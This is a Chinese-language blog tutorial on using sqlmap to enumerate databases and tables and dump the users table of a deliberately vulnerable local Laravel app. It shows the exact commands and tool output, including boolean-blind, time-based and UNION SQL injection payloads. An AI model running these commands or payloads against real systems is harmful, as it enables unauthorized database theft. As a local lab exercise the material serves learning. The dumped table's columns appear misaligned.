Sqlmap脱库

文章中的环境为:
博客：造一个laravel漏洞 讲解sql盲注原理

Sqlmap

一个SqlInject 工具。

github.com/sqlmapproject/sqlmap

过程

难度就是英文而已。

获取数据库

sqlmap -u http://127.0.0.1:8000?id=1 --threads=10 --dbs

-u url地址 要带传参  sqlmap会自动分析?id=的
--threads 线程 1-10
--dbs 获取所有数据库

过程会是否选择服务器的cookie等,选不选都可以。

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 6728=6728

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 2109 FROM (SELECT(SLEEP(5)))wLPf)

    Type: UNION query
    Title: Generic UNION query (NULL) - 8 columns
    Payload: id=-2812 UNION ALL SELECT NULL,CONCAT(0x71626a7a71,0x454244736f58724971716c6a4571565665764a7667564e4e4b766d5143644c51766a544a44674e70,0x7171766a71),NULL,NULL,NULL,NULL,NULL,NULL-- -
---
[00:13:01] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[00:13:04] [INFO] fetching database names
available databases [8]:
[*] dev
[*] home_develop
[*] information_schema
[*] laravel_project
[*] mysql
[*] performance_schema
[*] sys
[*] testdev

从sqlmap返回可知有什么数据库。

获取所有表

sqlmap -u http://127.0.0.1:8000?id=1 --threads=10 --tables -D laravel_project

-D 指定数据库
---tables 获取所有表 必须要指定数据库。

---
[00:20:04] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[00:20:04] [INFO] fetching tables for database: 'laravel_project'
Database: laravel_project
[5 tables]
+------------------------+
| failed_jobs            |
| migrations             |
| password_resets        |
| personal_access_tokens |
| users                  |
+------------------------+

从sqlmap返回可知有什么表。

获取users表的数据

sqlmap -u http://127.0.0.1:8000?id=1 --threads=10 -D laravel_project -T users --dump

-T 指定表
--dump  获取表所有条目的数据

[00:23:28] [INFO] fetching columns for table 'users' in database 'laravel_project'
[00:23:29] [INFO] fetching entries for table 'users' in database 'laravel_project'
Database: laravel_project
Table: users
[1 entry]
+------------+---------+-------+----------+---------------+------------+----------------+-------------------+
| id         | name    | email | password | created_at    | updated_at | remember_token | email_verified_at |
+------------+---------+-------+----------+---------------+------------+----------------+-------------------+
| worldhello | <blank> | 1     | <blank>  | 4******qq.com | <blank>    | <blank>        | xxh               |
+------------+---------

可知name 为 xxh ,password 为 worldhello

本作品采用《CC 协议》，转载必须注明作者和本文链接